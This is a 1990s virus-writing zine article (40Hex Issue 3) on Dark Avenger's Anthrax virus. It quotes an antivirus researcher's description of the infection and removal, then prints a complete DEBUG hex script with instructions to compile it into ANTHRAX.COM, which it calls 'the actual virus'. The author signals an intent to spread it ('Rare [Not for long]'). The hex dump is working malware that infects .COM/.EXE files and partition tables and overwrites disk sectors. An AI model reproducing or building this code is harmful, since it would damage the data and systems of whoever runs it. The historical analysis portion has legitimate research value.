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40Hex Issue 03 File 003
40Hex Issue 3 0003
Anthrax
Well, this is turning out to be a tribute issue to the Dark
Avenger. Here is another one of his better known viruses. This is
a nice one cause it not only is a file infector, but it is also a
sort of boot sector virus. It is also what I dubbed a reincarnation
virus, meaning that even if you clean your system of it, it may
still live, because it leaves a copy of itself on the last sector of
the disk. The virus can be reincarnated by the V2100 virus, also bu
The Dark Avenger.
Well, Patti Hoffman (one of my favorite people on earth, not) wrote
this virus up.
Aliases:
V Status: Rare [Not for long]
Discovery: July, 1990
Symptoms: .COM & .EXE growth
Origin: Bulgaria
Isolated: Netherlands
Eff Length: 1040 - 1279 Bytes
Type Code: PRAKX - Parasitic Resident .COM, .EXE, & Partition Table Infector
Detection Method: ViruScan V66+, Pro-Scan 2.01+, IBM Scan 2.00+
Removal Instructions: Scan/D + MDisk/P, Pro-Scan 2.01+
General Comments:
The Anthrax Virus was isolated in July 1990 in the Netherlands after
it was uploaded onto several BBSes in a trojan anti-viral program,
USCAN.ZIP. It is the second virus to be found in a copy of UScan
during July 1990, the first virus being V2100. Anthrax is a memory
resident generic infector of .COM and .EXE files, including
COMMAND.COM.
The first time a program infected with the Anthrax virus is executed
on the system's hard disk, the virus will infect the hard disk's
partition table. At this point, the virus is not memory resident. It
will also write a copy of itself on the last few sectors of the
system's hard disk. If data existed on those last few sectors of the
hard disk, it will be destroyed.
When the system is booted from the hard disk, the Anthrax virus
will install itself memory resident. It will remain memory resident
until the first program is executed. At that time, it will deinstall
itself from being resident and infect one .COM or .EXE file. This
virus does not infect files in the current directory first, but
instead starts to infect files at the lowest level of the disk's
directory tree.
Later, when an infected program is executed, Anthrax will infect one
.COM or .EXE file, searching the directory structure from the lowest
level of the directory tree. If the executed infected program
was located on the floppy drive, a .COM or .EXE file may or may not
be infected.
The Anthrax Virus's code is 1,024 bytes long, but infected programs
will increase in length by 1,040 to 1,279 bytes. On the author's test
system, the largest increase in length experienced was 1,232 bytes.
Infected files will always have an infected file length that is a
multiple of 16.
The following text strings can be found in files infected with the
Anthrax virus:
"(c)Damage, Inc."
"ANTHRAX"
A third text string occurs in the viral code, but it is in Cyrillics.
Per Vesselin Bontchev, this third string translates to: "Sofia 1990".
Since Anthrax infects the hard disk partition tables, infected systems
must have the partition table disinfected or rebuilt in order to
remove the virus. This disinfection can be done with either a low-
level format or use of the MDisk/P program for the correct DOS
version after powering off and rebooting from a write-protected boot
diskette for the system. Any .COM or .EXE files infected with
Anthrax must also be disinfected or erased. Since a copy of the virus
will exist on the last few sectors of the drive, these must also be
located and overwritten.
Anthrax interacts with another virus: V2100. If a system which was
previously infected with Anthrax should become infected with the V2100
virus, the V2100 virus will check the last few sectors of the hard
disk for the spare copy of Anthrax. If the spare copy is found, then
Anthrax will be copied to the hard disk's partition table.
It is not known if Anthrax carries any destructive capabilities or
trigger/activation dates.
Here is the actual virus. Well if this is your fist copy of
40Hex, let me explain how to compile it.
First copy what is below with your editor. Then save it to a file
called ANTHRAX.SCR. Then type at the command line -
DEBUG <ANTHRAX.SCR
This will create a file called ANTHRAX.COM, that's the actual virus.
-------------------------------------------------------------------------------
n anthrax.com
e 0100 E9 38 03 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0110 95 8C C8 2D 00 00 BA 00 00 50 52 1E 33 C9 8E D9
e 0120 BE 4C 00 B8 CD 00 8C CA 87 44 44 87 54 46 52 50
e 0130 C4 1C B4 13 CD 2F 06 53 B4 13 CD 2F 58 5A 87 04
e 0140 87 54 02 52 50 51 56 A0 3F 04 A8 0F 75 6C 0E 07
e 0150 BA 80 00 B1 03 BB 77 06 B8 01 02 50 CD 13 58 B1
e 0160 01 BB 00 04 CD 13 0E 1F BE 9B 03 8B FB B9 5E 00
e 0170 56 F3 A6 5E 8B FB B9 62 00 56 F3 A4 5F BE 12 08
e 0180 B9 65 00 F3 A4 74 1E 89 4D E9 B1 5C 89 4D 9B 88
e 0190 6D DC B1 02 33 DB B8 02 03 CD 13 49 BB 00 04 B8
e 01A0 01 03 CD 13 49 B4 19 CD 21 50 B2 02 B4 0E CD 21
e 01B0 B7 02 E8 87 01 5A B4 0E CD 21 5E 1F 8F 04 8F 44
e 01C0 02 8F 44 44 8F 44 46 1F 1E 07 95 CB 28 63 29 20
e 01D0 44 61 6D 61 67 65 2C 20 49 6E 63 2E 00 B0 03 CF
e 01E0 06 1E 57 56 50 33 C0 8E D8 BE 86 00 0E 07 BF 08
e 01F0 06 FD AD AB A5 AF 87 F7 AD FC 74 11 1E 07 AF B8
e 0200 07 01 AB 8C C8 AB 8E D8 BF 68 00 A5 A5 58 5E 5F
e 0210 1F 07 2E FF 2E 00 06 06 1E 57 56 52 51 53 50 0E
e 0220 1F BE 06 06 33 C9 8E C1 BF 84 00 A5 A5 B4 52 CD
e 0230 21 26 8B 47 FE 8E D8 BB 03 00 03 07 40 8E D8 81
e 0240 07 80 00 0E 07 B7 12 E8 F2 00 58 5B 59 5A 5E 5F
e 0250 1F 07 2E FF 2E 06 06 C3 91 AE B4 A8 BF 20 31 39
e 0260 39 30 B8 00 3D CD 21 72 EE 93 B8 20 12 CD 2F 53
e 0270 26 8A 1D B8 16 12 CD 2F 5B BE 62 04 8B D6 B1 18
e 0280 B4 3F CD 21 33 C1 75 70 06 1F C6 45 02 02 33 D2
e 0290 EC 3C 10 72 FB 03 45 11 13 55 13 24 F0 3D 00 FB
e 02A0 73 56 89 45 15 89 55 17 0E 1F 50 B1 10 F7 F1 2B
e 02B0 44 08 8B C8 2B 44 16 A3 04 00 AD 35 4D 5A 74 03
e 02C0 35 17 17 9C 75 17 89 04 3B 44 0A 87 44 12 A3 07
e 02D0 00 89 4C 14 B9 DC 04 74 07 83 44 08 48 B9 65 00
e 02E0 51 B9 9B 03 B4 40 CD 21 33 C8 59 75 09 BA 00 04
e 02F0 B4 40 CD 21 33 C8 5A 58 75 38 26 89 4D 15 26 89
e 0300 4D 17 52 9D 75 18 26 8B 45 11 26 8B 55 13 B5 02
e 0310 F7 F1 85 D2 74 01 40 89 14 89 44 02 EB 0A C6 44
e 0320 FE E9 05 28 03 89 44 FF B9 18 00 8D 54 FE B4 40
e 0330 CD 21 26 80 4D 06 40 B4 3E CD 21 C3 8E D9 8A 1E
e 0340 6C 04 0E 1F FF 06 5E 04 BA 4B 06 E8 1F 00 BE 0A
e 0350 06 C6 04 5C 46 32 D2 B4 47 CD 21 BA 9B 03 B4 3B
e 0360 CD 21 E3 0D B4 51 CD 21 8E DB BA 80 00 B4 1A EB
e 0370 C8 72 3E BE 9C 03 32 D2 B4 47 CD 21 3A 2E DC 03
e 0380 B1 32 BA 9D 02 B4 4E 74 5C CD 21 72 24 BA 4B 06
e 0390 B8 01 4F BE DC 03 BF 68 06 AA B1 0D F3 A6 74 45
e 03A0 3A 6D FE 74 40 CD 21 73 E4 32 C0 EB D3 2A 2E 2A
e 03B0 00 B1 41 BF 9C 03 3A 2D 8A C5 A2 DC 03 74 69 F2
e 03C0 AE 4F B1 41 B0 5C FD F2 AE 8D 75 02 BF DC 03 FC
e 03D0 AC 84 C0 AA 75 FA BA CD 02 32 C9 EB 81 2E 2E 00
e 03E0 BA 4B 06 B4 4F CD 21 72 C8 BE 69 06 BF DC 03 80
e 03F0 3C 2E 74 EC 88 2D 8B D6 F6 44 F7 10 75 DB AC 84
e 0400 C0 AA 75 FA 4E FD AD AD FC 3D 58 45 74 05 3D 4F
e 0410 4D 75 CD 53 E8 4B FE 5B 33 C9 8E C1 26 A0 6C 04
e 0420 0E 07 2A C3 3A C7 72 B8 BA 80 00 B1 03 BB 00 02
e 0430 B8 01 03 CD 13 BA 0A 06 E9 23 FF 95 BF 00 01 8B
e 0440 5D 01 81 EB 28 02 8B C7 8D B7 FD 03 A5 A4 93 B1
e 0450 04 D3 E8 8C D9 03 C1 BA 0B 00 EB 71 B8 D0 00 FC
e 0460 87 85 68 FA AB 8C C8 E2 F7 A3 86 00 AB 8E D8 B4
e 0470 08 CD 13 49 49 A1 E9 03 84 E4 74 01 91 B2 80 B8
e 0480 03 03 CD 13 91 84 E4 75 02 2C 40 FE CC A3 E9 03
e 0490 FF 06 60 04 32 F6 B9 01 00 BB 00 04 B8 01 03 CD
e 04A0 13 8A D6 CB 41 4E 54 48 52 41 58 0E 1F 83 2E 13
e 04B0 04 02 CD 12 B1 06 D3 E0 8E C0 BF 00 04 BE 00 7C
e 04C0 B9 00 01 8B DE FC F3 A5 8E D8 BA 27 04 51 53 50
e 04D0 52 CB 8E C1 B1 04 BE B0 05 83 C6 0E AD 3C 80 74
e 04E0 04 E2 F6 CD 18 92 FD AD 91 B8 01 02 CD 13 81 3E
e 04F0 FE 05 55 AA 75 ED 06 1E 07 1F 32 F6 B9 02 00 33
e 0500 DB B8 02 02 CD 13 E9 EE FE 00 00 00 00 CD 20 CC
e 0510 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
e 0520 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
e 0530 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
e 0540 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
e 0550 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
e 0560 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
e 0570 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A 1A
rcx
480
w
q
-------------------------------------------------------------------------------
HR
